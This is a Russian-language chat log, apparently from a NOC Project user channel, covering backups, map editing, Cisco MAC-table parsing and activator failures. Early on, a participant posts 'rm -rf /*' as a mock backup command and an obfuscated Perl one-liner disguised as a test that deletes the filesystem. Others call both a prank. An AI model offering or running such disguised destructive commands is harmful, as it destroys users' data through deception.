nocproject.org
08:08
Я, например, просто не знаю с чего начать. :)
08:12
я спать хочу
08:13
мелкая легла в 12 а встала в 6
08:13
и сразу папа кушать
08:13
abyrvalg: дропним базу?
08:14
TSergey: Смешно нубов тролить?
08:15
немного смешно, да :)
08:15
abyrvalg: давай бэкап настрим?
08:15
*настроим?
08:16
rm -rf /*
08:16
фул бекап из под рута
08:16
)))))))))))))
08:16
SS__: прекрати, я вчера уже шутил :)
08:17
TSergey: кроме noc.conf в вебморде что-то надо настраивать?
08:18
вот вам статейка как тестировать доступность
08:18
тыж недавно ставил, а как в новом я не знаю
08:18
галку проверить: Main\Setup\Schedules
08:18
main.bacup
08:18
SS__: Я хоть и недавно в профессии, но на это говно не ведусь.
08:18
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
08:19
abyrvalg: остальное в конфиге и проверить доступность ноком всех команд для бэкапа
08:19
Всем привет!
08:19
Сейчас обновиться можно?
08:19
ничего не сломается?)
08:20
вот и раскажешь))) а то самим страшно
08:20
buggy-funhouse: все само заполнится :)
08:20
Володин вернулся?)
08:20
SS__: я так и думал +)
08:20
buggy-funhouse: в пн релиз будет :) и обновляться стоит .
08:20
я обновлялся, проверял кнопку "обновить карту"
08:20
там почти починили
NOC-1633 и добавили авторасстановку на карты
08:21
Я вчера вечером обновлялся, ничего не сломалось.
08:22
кстати кто занает как mysql поднять репликацию без дампа с мастера и рестора дампа на слейве, т.е. слейв голый и чтоб процесс репликации сам все перетащил*
08:23
abyrvalg: ну и если пути в конфе все прописаны, можно проверить, галку слева в Main\Setup\Schedules и запустить в верхнем списке "Run selected task now" + Выполнить
08:24
делается четыре архива: dump + три .tar.qz
08:24
Только хотел спросить об этом.
08:25
ну а настройки в конфе вполне очевидные
08:26
такс. кто скажет где дока как сделать обновление конфига по приходу трапа ?
08:27
e_zombie: наверное поискать класс про обновление конфига в ФМ
08:27
прекрати ругаться в приличном обществе :)
08:28
ок :)
08:29
есть класс Config | Config Changed
08:29
в нем, в хэндлерах есть
08:30
наверное можно сделать новый Classification Rules, а класс ему взять Config | Config Changed
08:30
e_zombie: а какое ты событие обрабатываешь?
08:31
(или сделать новый класс, под свой вид события и добавить в него ткаой хэндлер)
08:31
ну типа пришёл трап - конфиг изменился. значит слазить туда и забрать новую версию а не долбиться раз в сутки.
08:32
так под это есть и Рулс и Класс
08:32
например "Cisco | IOS | Config | Config Changed (SYSLOG)"
08:33
e_zombie: А если трап потеряется?
08:33
Я к тому, что по расписанию все равно надо снимать.
08:34
abyrvalg: по расписанию сбор конфигов поставить раз в неделю и норм.
08:35
e_zombie: а давай заново, а вопрос тогда в чем?
08:35
как теперь редактировать карты?)
08:35
ну просто ты ругаешься непонятными мне словами. - ты пальцем покажи.
08:35
значки не таскаются
08:35
ФМ не понимает такого сообщения?
08:35
buggy-funhouse: Edit жал?
08:35
buggy-funhouse: нажми кнопку эдит
08:36
она не активна
08:36
кэш сбросить?
08:36
разлогиниться?
08:37
Это нормально, что поле квадратное и всё?)
08:37
то есть свитч можно запихнуть под границу видимости
08:38
просто автор не знает как починить
08:38
да
08:38
у меня где-то треть экрана
08:38
buggy-funhouse: временно это фича, можно прятать свичи от учета
08:38
можно свитч спрятать, сохранить, потом реверт и экран расширяется
08:39
noc-way
08:39
но если открать еще вкладку, и пощелкать между ними - то ВНЕЗАПНО появляется скроллбар, и окно втановиться безразмерным
08:39
\открыть
08:39
и таскать иконки можно куда хочешь
08:40
ufir: у меня все равно граница есть
08:41
"Дело в том, что этот сотрудник мониторит качество сигнала IPTV. А как еще можно удостовериться в том, что картинка достаточно качественная, кроме как посмотреть ее?"
08:41
красиво излагает, действительно, как можно промониторить качество цифрового сигнала
08:42
лучшая в мире профессия (С)
08:43
"Тянуть провода или что-то сверлить не потребовалось. " как это?
08:43
08:44
08:44
в новостройке так тянут у нас инет. это рядом с квартирой моей знакомой.
08:46
в розетку оптика или витая пара?
08:46
витая.
08:46
инет по оптике - это у нас такой маркейтинговый булщит
08:46
красивый монтаж :)
08:48
"Вот стол с разными модемами" тоже же неплохо
08:49
директор Саратовского филиала компании Александр Бычков так и говорил "модемы"?
08:49
08:49
граница вполне себе уехала
08:49
:)
08:50
а ты попробуй выше, у тех кто на границе
08:50
красивая схема, с изогутыми линками
08:50
при етом - на линиях нет точек
08:50
какого хера они при этом кривые, а не прямые - неизвестно
08:50
у тебя тюнингованная версия
08:51
тама кстати баг. если там эзерченал и ты снимаешь точки с линий то они сливаются .
08:51
ufir: Нок, хабр, и 30+ вкладок лурка? :)
08:51
у меня вочти везде езерченнел
08:51
abyrvalg так и живем ;D
08:52
Я не считал, так, на вскидку прикинул.
08:52
ufir: то-то я смотрю, названия знакомые :) Морки, звенигово =)
08:53
buggy-funhouse дык марий эл же
08:53
Ага
08:53
Где Волжск?)
08:54
TSergey: бэкапнулся. Только архивов три, т.к. repo нету.
08:54
Не понял только, почему дамп постгреса не архивирован. Идеологически, или что-то мешает?
08:55
abyrvalg: покажи списко, какие три у тебя сделались
08:57
SS__: ти глюпай. не echo, а cat
08:57
evyscr, а ты проверь под рутом, потом отпиши)
08:58
там как раз echo
08:58
евпочя
08:59
в оригинале был cat
08:59
поцчему я и сразу заподозрил неладное
09:00
SS__: проверил, проверяй
09:00
спасибо ))))
09:00
у мну виртуальки не нужной нет)
09:01
<> echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
09:01
preexec:17: parse error
09:01
rm of / is not allowed
09:01
> uname -ma
09:01
SunOS cw 5.10 Generic_142900-11 sun4u sparc SUNW,Sun-Fire-V240
09:02
TSergey:
09:02
noc-db-2015-07-17-11-39.dump
09:02
noc-etc-2015-07-17-11-39.tar.gz
09:02
noc-mongo-2015-07-17-11-39.tar.gz
09:04
ты просто не умеешь ее готовить ;D
09:04
хотя, если признаться - говно редкостное
09:05
нет саппорта - в пизду.
09:06
Никто такой трейс при удалении МО не ловил?
09:06
EXCEPTION: <type 'exceptions.AttributeError'> type object 'ObjectItem' has no attribute 'objects'
09:06
можно подумать, у твоего сраного линукса есть саппорт
09:06
а если у него редхат
09:06
или слес
09:06
вот у аргуса саппорт есть ;)
09:07
у сраного линукса есть репы и публичная багзилла.
09:07
zi_rus у володия-то ? да у него поди рачь какой-нибудь
09:07
суппорт альта это сурово
09:07
и да. у меня есть ещё пока лицензия на один сервак рхер
09:07
рхел
09:07
хаха
09:07
у меня тоже
09:07
лол
09:07
тоже рхер?
09:07
да
09:07
именно рхер
09:08
ред хайт ентерпрайз рачьлинукс
09:08
ну вы шутники ёбта.
09:08
когда там патч в ведро на updike кидали?
09:10
Discovery Jobs Statuses
09:10
Wait 163
09:10
Suspend 3
09:10
Wait (Late) 0
09:10
Где посмотреть, какие именно suspend? Перебирать МО, читать логи, или есть удобнее способ?
09:11
Я в монге уже карту почистил вчера.
09:11
abyrvalg: noc-db-2015-07-17-11-39.dump чем тебе не дамп?
09:12
db.noc.schedules.inv.discovery.find({"s": "s"})
09:12
abyrvalg: а нехрен делать дроп, если надо удалить одну запись
09:12
TSergey: Дамп. Нормальный дамп. Я просто не понял, почему бы было и его не заархивировать.
09:13
аааа, тут я и не знаю
09:13
evyscr: А там была всего одна запись.
09:13
как бы намек, что часто понядобится :)
09:13
я видел две
09:13
вроде как
09:13
Вторая - фантомная.
09:13
В смысле, осколок от удаленного сегмента.
09:14
цитата про путания в показаниях
09:14
db.noc.schedules.inv.discovery.find({"s": "s"}).count()
09:14
15
09:14
abyrvalg: и вообще, тебе говорили про обновиться
09:14
evyscr: Я ж возвращал записи обратно. Так вот, я пробовал вернуть ту вторую без первой - толку было ноль.
09:15
Я обновился после того, как вернул все взад.
09:15
15:18:40 <evyscr> failed to get data было до вчерашних коммитов
09:15
кто меня не слушает - ССЗБ
09:16
Да я и не спорю. Кто слушает TSergey тоже ссзб. :))
09:17
ты просто его огорчил
09:17
много было в нашей жизни молодых да ранних, которые всё знают
09:18
некоторые из них сдувались через меяц-другой
09:22
Блин, парни. Давайте чтоб было ясно. Я (пока) не представляю себе, как эта штука работает. Тут можно много написать про agile, но опустим.
09:22
Я допускаю, что ПО проверяет значения на входе, и если их нет - возможны два пути - установить в дефолт либо вывалить ошибку. Я понадеялся, что в данном случае
09:22
реализован первый вариант. Ну и еще фраза была про "само заполнится".
09:22
evyscr: как считатешь, вот такое F это много?
09:22
fumufu86 , : noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
09:22
fumufu86 , : status | count
09:22
fumufu86 , : F | 18150
09:23
abyrvalg: ну теперь ты крещеный, все теперь пойдет как надо
09:25
Самое смищьное, что так происходит в любом русскоязычном коммьюнити.
09:25
abyrvalg: давай спросим всех остальных :) говорил ли я тебе, что все сломается :)
09:26
впрочем я исправлюсь :)
09:26
Ты миня затралел вчера. И доволен собой.
09:27
А я повелся, как лалка.
09:27
а может недоволен :)
09:28
Это не существенно.
09:34
А то, что я вчера вечером писал - есть мысли у кого-то?
09:34
(18:50:49) <class 'noc.sa.interfaces.base.InterfaceTypeError'> DictParameter: {'mac': '00:04:7A:09:D9:40', 'type': 'D', 'interfaces': ['seq_no:0'], 'vlan_id': 10}. Invalid value for 'interfaces': Invalid interface 'seq_no:0'
09:34
Вот такая таблица возвращается от каталисты:
09:34
10 0004.7a09.d940 DYNAMIC Gi1/0/25 seq_no:0
09:34
10 0004.7a09.e000 DYNAMIC Gi1/0/26 seq_no:0
09:34
10 0004.7a0d.8fc0 DYNAMIC Gi1/0/27 seq_no:0
09:35
На соседней с такой-же версией ПО - все нормально.
09:36
делай debug-script и выкладывай на пасту
09:36
профиль Cisco.IOS ?
09:37
Ща проверю.
09:37
Да, он.
09:38
Да я телнетом заходил на две соседние циски одинаковые - они таблицу маков по-разному возвращают.
09:38
В инете натыкался, что такие записи возникают у людей с бродкаст-штормом в сети, но ничего похожего у нас не было.
09:39
так это у тебя от какого скрипта?
09:39
ну вот его дебак-скриптом и давай
09:40
а, стоп, ерунду говорю
09:40
Трейс можно и в веб-морде получить. Ручным запуском.
09:41
а SA\MO\Edit\Scripts get_mac_address_table не ругается?
09:41
Ругается, я его и имел ввиду про ручной запуск.
09:42
Да там просто пятая колонка появляется, и неверно распарсивается.
09:42
Ее отрезать надо.
09:42
пятая колонна
09:42
ее отрезать надо
09:43
abyrvalg: самурай, это ведь разные скрипты
09:43
мак дискавери другая песня
09:43
Он разве не получает таблицу маков?
09:44
делай дебагом get_mac_address_table и выкладывай на пасту и все будет видно
09:44
ну или традиционно дропаем таблицу (это, если что, шутка)
09:45
умеещь дебаг-скрипт?
09:46
Пока нет, но ты мне дай полчаса, я сначала сам попробую.
09:46
Так лучше запоминается.
09:47
да тут и запоминать ничего не надо
09:47
09:47
это шелловская штука
09:47
"/opt/noc$ ./noc debug-script <script name"
09:48
"name_MO"
09:50
По имени, не по id? Неожиданно.
09:52
dvolodin: привет, скажи вот
09:52
fumufu86 , : noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
09:52
fumufu86 , : status | count
09:52
fumufu86 , : --------+-------
09:52
fumufu86 , : F | 18150
09:52
fumufu86 , : C | 2970
09:52
fumufu86 , : R | 3
09:52
нормальная ситуация?
09:52
у меня после чистки базы и всех патчей
09:52
noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
09:52
status | count
09:52
--------+-------
09:52
C | 18
09:52
R | 5
09:52
(2 rows)
09:53
у меня очучение, что после какого-то критического количества файлед все скрипты перестают работать
09:53
удваиваю предыдущего оратора.
09:54
у тебя загрузка активаторов сейчас нулевая?
09:55
evyscr: причем у каждого активатора последним идет cancelled во время snmp опроса?
09:55
сейчас уже не скажу
09:56
но cancelled когда-то видел
09:56
у меня (думаю не меня спрашивал): 10 скриптов в Current, на 4 активатора
09:56
а во время чего cancelled был сделан - хз
09:57
а ето что такое, и нахрена оно мне ?
09:57
2015-07-17 12:56:08,499 [noc.dns.models.dnszone] Register address change None -> 10.112.40.220
09:57
2015-07-17 12:56:08,500 [noc.dns.models.dnszone] Register FQDN change None -> ip-10-112-40-220.example.com
09:58
ufir: а кто включал ip_discovery, Пушкин?
09:58
бля, соре, туплю
09:58
у меня сегодня кофий закончился
09:58
а я вообще с бодуна, и чо ?
09:59
тоже тупишь, значит. грац
09:59
но ip discovery у тебя включен
09:59
> у меня сегодня кофий закончился
09:59
i now that feel bro
10:00
10:00
бл
10:00
StackSub-St1-1
10:00
evyscr: а чего ты пьешь? какой кофе?
10:01
ратворимай
10:01
зерновой уже хреново сказывается
10:01
ufir: что за железка?
10:01
у меня коллег притащил кофеварку и варит что-то очень вкуснопахнущее
10:02
ufir: ты лучше дебаг-скрипт запасть
10:02
cisco WS-C3750G-24TS-1U
10:02
даже не debug-script, а тушенку мне
10:03
блин, запилите вики по оборудованию
10:04
evyscr: и что ты туда хочешь писать?
10:04
у кокой модели где какие кривости
10:04
snmp мабуть
10:04
паршивки
10:04
вот я тобе про ifHighspeed выдал же
10:06
или вот отсцутствие show inventory в древних ios
10:07
а то и show interfaces switchport
10:08
evyscr: могу сделать тебе отдельный space на confluence
10:08
займешься?
10:08
я пока не понимаю структуру и как сделать так, чтобы там не было помойки
10:08
непросто, согласен
10:09
пока подумаем тогда
10:09
идея хорошая в принципе
10:09
по идее, если там будет справочник моделей, их ТТХ и замечания по совместимости с NOC, то это будет мегасупервещь
10:09
ну я (по молодости) вообще думал, что в ноковском kb это будет
10:10
оказалось, пока нима
10:10
вот можно и подумать, может и там
10:10
у нас теперь есть cp
10:10
можно и сихронизацию между всеми kb сделать
10:10
кстате, о цп
10:10
поцчиму выделение не в буфере
10:10
?
10:13
в иксовый буфер не идёт
10:13
да
10:13
бровзер - фуррифокс
10:15
ufir: это стековые интерфейсы на жопе
10:15
по два на тушку
10:17
опа.
10:17
2015-07-17 13:13:35,858 [noc.sa.activator.activator] Cancelling stale script Cisco.IOS.get_cdp_neighbors(10.12.172.10)
10:17
2015-07-17 13:13:35,858 [script] Stuck in CLI. Cancelling
10:17
2015-07-17 13:13:35,860 [script] Cancelled
10:17
и все активаторы сдохли
10:18
fuf
10:18
ага
10:18
убивает скрипт, успевает отрапортовать в SAE
10:18
и все
10:19
хз
10:19
трейсов с него не осталось?
10:25
ufir: про StackSub. оно их откуда-то берет по SNMP
10:25
либо отключить там SNMP
10:25
10:25
либо dvolodin что умное скажет
10:26
teroni804: можно и так, да
10:26
я вот не понимаю откель SNMP берет интерфейсы которые не видать через консоль
10:31
консоль их скрывает
10:31
а в snmp прет звериная натура
10:34
стековый интерфейс ведь - суть обычный интерфейс на жопе с голыми каналами serdes'ов
10:35
их, кстати, в модельки заносят уже?
10:35
(object models)
10:35
ок
10:35
а то что-то не было в своё время
10:39
кстате, а кто _сейчас_ за INV смотрит?
10:39
я иногда
10:39
но у меня не хватает времени
10:40
нам опять нужны maintainer'ы по правилам FM и по моделям inventory
10:40
надо TSergey подключать-)
10:42
в модельках я, в прынципе, вельми заинтересован, но полностью осознать всю кухню не получлось
10:43
кухню я расскажу при необходимости
10:43
кстати, она неплохо описана в kb
10:45
ну посмотрим тогда на след неделе
10:51
teroni: pull request сделай
10:52
dvolodin: я нубс и не умею
10:58
модели заливать в INV и ждать пока закоммитят
11:07
noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
11:07
status | count
11:07
--------+-------
11:08
F | 12291
11:08
C | 2002
11:08
R | 16
11:08
(3 строки)
11:08
Переодически F | резко падает, потом снова начинает расти.
11:09
noc=# SELECT status, count(*) FROM sa_maptask GROUP BY status ORDER BY 2 DESC;
11:09
status | count
11:09
--------+-------
11:09
F | 9268
11:09
C | 1523
11:09
R | 5
11:09
(3 строки)
11:19
кто на фре сидит, кстати?
11:19
dvolodin: слушай, у меня мо не удаляется
11:19
трейсит
11:19
EXCEPTION: <type 'exceptions.AttributeError'> type object 'ObjectItem' has no attribute 'objects'
11:20
ты не фиксил такого?
11:20
может мне обновиться?
11:20
может и фиксил
11:20
что-то в удалении я фиксил
11:27
Давайте поговорим за регулярные выражения.
11:27
Кто про что - а больной - про здоровье. :)
11:28
Насколько я понял в скрипте get_mac_address_table таблица маков парсится вот такой регуляркой:
11:28
^(?:\*\s+)?(?P<vlan_id>\d+)\s+(?P<mac>\S+)\s+(?P<type>\S+)\s+(?:\S+\s+){0,2}(?P<interfaces>.*)$
11:31
Смущает вот это вот:
11:31
(?:\S+\s+){0,2}
11:31
Это значит, что между столбцами Type и Ports может быть еще один или два столбца.
11:31
Какие? Покажите пример, у кого циска такое выдает.
11:31
abyrvalg: в публичной тущенке есть
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,Catalyst 4500 L3 Switch,12.2(31)SGA10,11b9c93c-645a-4c55-876c-f3fe6bb796ed
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,Catalyst 4500 L3 Switch,12.2(37)SG1,1c967405-7305-491f-92b3-7e85639ea53a
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,C3750,12.2(35)SE2,22df70ba-fe74-4b09-8a21-790f22bf84b0
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,CBS31X0,12.2(50)SE3,42fdba21-161a-4979-892f-d61e07121dc4
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(33)SXH2a,56b6d45e-709e-4d96-8035-be0bf07fd1e7
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s222_rp,12.2(18)SXF13,9e229dd8-96a1-40fb-853f-581bdcc39f35
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(18)SXF14,b1130f69-2009-4439-8da2-d0d966fefdbf
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(33)SXI2,c52c89bf-faf4-4f05-9658-19d40f10481a
11:32
sa_public,Cisco.IOS,get_mac_address_table,Cisco,s72033_rp,12.2(33)SXI2,eb6fd9a0-4edf-4c36-bbbc-21c46c8b62b1
11:32
dvolodin: как нить из нок-шела можно поглядеть что выдает self.snmp.getnext ??
11:32
teroni: нет
11:33
но можно вставить print и прогнать через debug-script
11:34
debug-script - можно весь вывод на экран перенаправить в файл?
11:42
оф кос
11:42
11:42
"/opt/noc$ ./noc debug-script <script name> <MO> -o <output_file>"
11:48
stderr склей со stdout
11:48
а, вот вы про что
11:48
я из лога путти дергаю
11:54
питоновский logging по умолчанию льет на stderr
11:56
11:56
Ж)
11:56
красота
11:56
для microservices понадобятся еще два пакета -- nsq и consul
11:56
посмотрите в своих системах, они в репах есть?
11:59
укурились чтоли
12:00
кто сейчас на девелопе?
12:00
обновляться можно или ну его?
12:19
dvolodin: слушай
12:19
такая тема
12:19
есть роутер
12:20
у него с одного порта через оператора уходят каналы разными вланами в разные стороны
12:20
как мне в ноке линки организовать
12:20
он же сабы не линкует
12:21
а поинт-2-мультипоинт не совсем правильно
12:24
там же есть железка еще по пути
12:26
zi_rus: ну я на девелопе. и что ? через жопу но работает.
12:26
консула нету в федоре и подозреваю в центосах тоже нету
12:28
snq тоже нету
12:30
dvolodin: так железка-то чужая, операторская. клауд (в классичеком смысле), так сказать.
12:32
вот я и думаю - собрать из них пакеты для pip'а?
12:40
собирай. иначе пиздетц
12:48
dvolodin: железка по пути это сторонний оператор
12:48
или ты что имеешь ввиду?
13:34
dvolodin: ты как будто никогда не подавал клиенту сервисы когда есть центральный офис и филиалы, и из центра разными вланами каналы до филиалов сделаны
13:34
вот представь что ты с другой стороны
13:34
ты этот самый клиент
13:34
для тебя есть один порт
13:35
и облако
14:08
А почему могут линки пропадать?
14:09
Вчера был, сегодня пропал. Запустил вручную дискавери - опять появился.
14:28
посмотри логи, там наверняка что-то про стп или мак ;D
14:37
Походу дискавери не запускался почему-то.
14:38
Аптайм и интерфейс-статус работали, а cdp и stp -нет.
20:00
Дима, ну почему у меня линки без точек кривые ?
20:01
насколько кривые?
20:01
у них были точки, но ты их удалил?
20:02
но некоторые без точек прямые ;(
Share this page
Share this page: